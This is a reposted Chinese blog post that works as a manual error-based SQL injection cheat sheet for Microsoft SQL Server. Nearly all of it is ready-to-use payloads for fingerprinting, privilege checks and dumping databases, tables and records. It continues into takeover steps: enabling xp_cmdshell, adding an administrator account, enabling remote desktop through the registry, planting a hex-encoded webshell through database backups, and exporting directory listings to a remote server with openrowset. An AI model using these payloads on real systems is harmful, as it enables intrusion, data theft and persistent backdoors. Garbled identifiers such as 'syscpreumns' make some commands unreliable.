iverson5

SQL Server手工注入-显错注入(转载)

  —————————————获取基本信息————————————
-

判断是不是MSSQL:

and exists (select * from sysobjects) -- and exists (select count(*) from sysobjects) --//效率更高

 

说明:存在sysobjects表,说明是mssql。如果存在返回真,查询结果和原结果相同,否则报错或不同。

判断支不支持堆叠查询:

;declare @d int-- ;select count(*) from sysobjects--

说明:如果支持,查询结果和原结果相同,否则报错或不同。

判断是否站库分离:

and 1=(@@servername%2b'|'%2bhost_name())--

判断XP_CMDSHELL是否存在:

and 1=(Select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') --

说明:如果存在返回真,查询结果和原结果相同,否则报错或不同。

查看xp_regread扩展存储过程是否存在:

and 1=(select count(*) FROM master..sysobjects where name= 'xp_regread')--

说明:如果存在返回真,查询结果和原结果相同,否则报错或不同。

爆数据库版本:

and 1=@@version--

说明:通过将数字和字符串进行比较,字符串转换数字报错,爆出原字符串。

爆主机名:

and 1=host_name()--

爆本地服务名:

and 1=@@servername--

爆当前数据库:

and 1=quotename(db_name())-- and 1=db_name() %2b'|'--

说明:如某数据库的库名为1,将字符串1转换为int是不会报错的,所以使用quotename函数或者将字符串1与字符|连接,彻底变成一个字符串,1/转换成int报错,从而爆出我们想要的信息。

——————————–获取用户及权限信息—————————————-

爆当前数据库用户:

and 1=user-- and 1=quotename(user)--

获取当前数据库权限:

and 1=(select IS_SRVRpreEMEMBER('sysadmin'))--//返回正常为sa and 1=(Select IS_MEMBER('db_owner'))--//返回正常为DB_OWNER and 1=(select IS_srvrpreemember('public'))-- //public权限,较低 and 1= (Select HAS_DBACCESS('数据库'))-- //判断是否有数据库的访问权限

以下命令仅适应于SQL Server2005及以上版本

and 1= has_perms_by_name(db_name(), 'DATABASE', 'ANY')-- //判断是否对当前库有所有权限 and 1= has_perms_by_name('master', 'DATABASE', 'ANY')--//sa权限

———————————–获取数据库信息——————————————

所有数据库的数目:

and 1=(select quotename(count(name)) from master..sysdatabases)-- and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) -- and 1=(select str(count(name))%2b'|' from master..sysdatabases) --

爆用户数据库的数目:

and 1=(select quotename(count(name)) from master..sysdatabases where dbid>5)-- and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) -- and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) --

说明:dbid从1-4的数据库一般为系统数据库.

逐个爆数据库:

and 1=quotename(db_name(N))-- and 1=db_name(N)%2b'|'-- and 1=(select name%2b'|' from master..sysdatabases where dbid=5)-- and 1=(select name%2bchar(1) from master..sysdatabases where dbid=5)-- and 1=(select top 1 quotename(name) from master..sysdatabases where dbid not in(select top N dbid from master..sysdatabases))--

一次爆出所有数据库(只限于mssql2005及以上版本):

and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))-- and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--

FOR XML PATH 可以将查询结果根据行输出成XML格式。如提示“字符串或二进制数据将被截断。语句已终止。”错误,原因是数据量太大,可用substring函数分次提取。

除此之外,还有

and 1=(select name from master..sysdatabases FOR XML RAW)-- and 1=(select name from master..sysdatabases FOR XML Auto)--

和 FOR XML一样,只是返回的内容没有FOR PATH(”)简洁。

———————————-获取数据库中表信息—————————————

爆指定数据库中表的数目:

and 1=(select quotename(count(*)) from 数据库名..sysobjects where xtype='U') -- and 1=(select cast(count(*) as varchar)%2b'|' from 数据库名..sysobjects where xtype='U') -- and 1=(select cast(count(*) as varchar)%2bchar(1) from 数据库名..sysobjects where xtype=0x55)--

逐个爆指定数据库的表:

and 0<>(select top 1 quotename(name) from 数据库名..sysobjects where xtype='U' where 排除条件)-- and 1=convert(int,(select top 1 table_name from information_schema.tables))-- and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('xxxx')))--

【1、如提示”服务器主体 “xx数据库用户” 无法在当前安全上下文下访问数据库 “xxx”,说明该用户无该数据库的访问权限】

【2、可通过 where name<>’表名’或where name not in(‘表名1′,’表名2′)来排除已经获取到的表名,如表名中包含某些不允许的词可用not like排除掉】

and 1=(select top 1 quotename(name) from 数据库名..sysobjects where xtype='U' and id not in(select top N id from 数据库名..sysobjects where xtype='U'))--

一次爆数据库所有表(只限于mssql2005及以上版本):

and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))-- and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--

———————————-获取数据库表中列的信息—————————————-

爆指定表中列的数目:

and 1=(select quotename(count(name)) from 数据库名..syscpreumns where id=(select id from 数据库名..sysobjects where name='指定表名' ))-- and 1=(select cast(count(name) as varchar)%2bchar(1) from 数据库名..syscpreumns where id=(select id from 数据库名..sysobjects where name='指定表名' ))--

逐个爆指定表的列:

and 1=(select top 1 quotename(cpre_name(object_id('指定表名'),N)) from 数据库名..sysobjects)-- and 1=(select quotename(name) from 数据库名..syscpreumns where id =(select id from 数据库名..sysobjects where name='指定表名') and cpreid=N and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='指定表名' )--

and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='指定表名' and column_name not in('表名') )--

一次爆指定表的所有列(只限于mssql2005及以上版本):

and 1=(select quotename(name) from 数据库名..syscpreumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))-- and 1=(select '|'%2bname%2b'|' from 数据库名..syscpreumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--

——————————————–获取数据————————————————

爆指定表中记录的数目:

and 1=(select quotename(count(*)) from 指定数据库..指定表名)-- and 1=(select cast(count(*) as varchar)%2b'|' from 指定数据库..指定表名)--

逐条爆指定表指定列的数据:

and 1=(select top 1 quotename(指定列名1)%2bquotename(指定列名2) from 指定数据库..指定表名 where排除条件)-- and 1=(select top 1 cast(指定列名1 as varchar)%2b'|'%2bcast(指定列名2 as varchar) from 指定数据库..指定表名 where排除条件)--

逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):

and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))--

一次性爆N条所有字段的数据(只限于mssql2005及以上版本):

and 1=(select top N * from 指定数据库..指定表名 FOR XML PATH(''))--

—————————–Insert、Update、Delete、Order By、Group By、Top注入—————-

Insert:

insert into users values('vk',convert(int,@@version))--,'123') insert into users values('vk','123' + convert(int,@@version))--') insert into users values('vk','123') if substring(user,1,1)='d' waitfor delay '0:0:5' else select 2--')

Update:

update users set uname='vvvk',upass='11111' where uid=1 and 1=convert(int,@@version) update users set uname='vvvk',upass='11111'+convert(int,@@version)+'' where uid=1 update users set uname='vvvk',upass='11111' where uid=1  if substring(user,1,1)='d' waitfor delay '0:0:5' else select 2

Delete:

Delete from users where uid =9+convert(int,@@version) Delete from users where uid =9 and 1=convert(int,@@version) Delete from users where uid =9 if substring(user,1,1)='d' waitfor delay '0:0:5' else select 2

 

Order By:

select * from users order by uid,convert(int,@@version) select * from users order by uid+convert(int,@@version)

select * from users order by uid if substring(user,1,1)='d' waitfor delay '0:0:5' else select 2

Group By:

select count(uid),uname from users group by uid,uname union select '1','2' select count(uid),uname from users group by uid,uname,uname+convert(int,@@version) select count(uid),uname from users group by uid,uname if substring(user,1,1)='d' waitfor delay '0:0:5' else select 2

Top:

select top 1 @@version,* from users select top 0 1 from sysobjects union select @@version--,* from users

————————————————–利用存储过程———————————————–

常用存储过程:

xp_cmdshell———利用此存储过程可以直接执行系统命令

xp_regread ———- 利用此存储过程可以进行注册表读取

xp_regwrite———-利用此存储过程可以写入注册表

xp_dirtree————利用此存储过程可以进行列目录操作

xp_enumdsn——–利用此存储过程可以进行odbc连接

xp_loginconfig—–利用此存储过程可以进行配置服务器安全模式信息

检查是否启用:

and 1=(Select count(*) from master..sysobjects where xtype='X' and name='存储过程名称')--

———————————————–利用xp_cmdshell———————————————

检查是否启用了xp_cmdshell:

and 1=(Select count(*) from master..sysobjects where xtype='X' and name='xp_cmdshell')--

删除xp_cmdshell:

;exec sp_dropextendedproc 'xp_cmdshell'--

启用xp_cmdshell(要求数据库支持堆叠查询)

;EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' -- ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE-- //1为开启,0为关闭.

如提示:拒绝了对对象 ‘sp_addextendedproc’ (数据库 ‘mssqlsystemresource’,架 构 ‘sys’)的 EXECUTE 权限。或提示“用户没有执行此操作的权限。”说明权限不够。如果执行不成功,那么可能xplog70.dll文件被 删除了,我们可以上传一个xplog70.dll文件,然后进行恢复,语句如下:

;exec sp_addextendedproc ‘xp_cmdshell’,’c:xplog70.dll’

利用xp_cmdshell执行系统命令:

;exec master..xp_cmdshell "系统命令" --

示例:

;exec master..xp_cmdshell "dir c:" -- //列C盘目录 ;exec master..xp_cmdshell "net user 帐号 密码 /add &&net localgroup administrators 帐号 /add" -- //添加一个帐号并加入管理员组

———————————————-不同权限的渗透方法———————————————

SA权限:

1、如目标服务器开启了远程桌面,那么直接建立系统帐号密码,远程登陆,获取到目标服务器权限:

命令:

;exec master..xp_cmdshell "net user 帐号 密码 /add %26%26 net localgroup administrators 帐号 /add" --

2、如目标服务器未开启远程桌面,利用下面的命令开启它:

;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentContrpreSet\Contrpre\Terminal Server','fDenyTSConnections','REG_DWORD',0;--

DB_OWNER权限:

主要思路是列目录–备份获取shell。

1、获取WEB物理路径:

;create table temp (dir nvarchar(255),depth varchar(255),files varchar(255),id int not null identity (1,1));--

创建一个表,共4个字段,前三个字段用于存放执行存储过程xp_dirtree返回结果,ID字段则方便查询指定内容。

;insert into temp (dir,depth,files) exec master..xp_dirtree '要浏览的目录绝对路径',1,1--

利用xp_dirtree 将指定路径的文件和文件夹插入到表中。

and 1=(select quotename(dir) from temp where id=1)--

通过枚举id值将临时表中保存的文件和目录一条条查出来。

and 1=(select quotename(dir) from temp FOR XML PATH(''))--

一次性将表中保存的文件和目录全部查出来。只限于mssql2005及以上版本。

;drop table temp;--

删除表。

2、通过差异备份写入一句话木马:

;backup database 数据库 to disk = '备份到的路径';-- 将数据库备份一次 ;create table cmd(a image)-- 创建一个表,包含一个为image类型的字段 insert into cmd(a) values(0x3c256576616c2072657175657374282270762229253e);-- 将一句话木马插入到cmd表中 backup database 数据库 to disk='备份到的绝对路径' WITH DIFFERENTIAL,FORMAT;-- 通过数据库差异备份,将木马备份到指定网站目录下

3、通过日志备份写入一句话木马: ;alter database 数据库 set RECOVERY FULL-- 将数据库设置为完整恢复模式 ;backup database 数据库 to disk = '备份到的绝对路径' with init-- 将数据库备份到指定目录 ;create table cmd(a image)-- 创建一个表,包含一个为image类型的字段 ;insert into cmd(a) values (0x一句话木马的十六进制)-- 将一句话木马插入到cmd表中 ;backup log 数据库 to disk = '备份到的绝对路径'-- 通过数据库日志备份,将木马备份到指定网站目录下

Public权限:

1、通过获取网站管理员帐号和密码登录网站后台,从网站后台突破。

2、可利用Public遍历服务器目录及文件: ;create table ##nonamed(dir nvarchar(255),depth varchar(255),files varchar(255),id int not null identity (1,1));-- 建立一个临时表,只有权限建立临时表。 ;insert ##nonamed(dir,depth,files) exec master..xp_dirtree '要浏览的目录绝对路径',1,1-- 调用存储过程把执行回来的数据存放到临时表里。 insert into openrowset('sqlpreedb', '192.0.0.1';'user';'pass', 'select * from Northwind..dirtree') -- 利用openrowset函数把临时表的数据导到本地MSSQL 的dirtree表里。 select * from ##nonamed-- 从本地表中查询数据。
评论(1)

iverson5

© iverson5 | Powered by LOFTER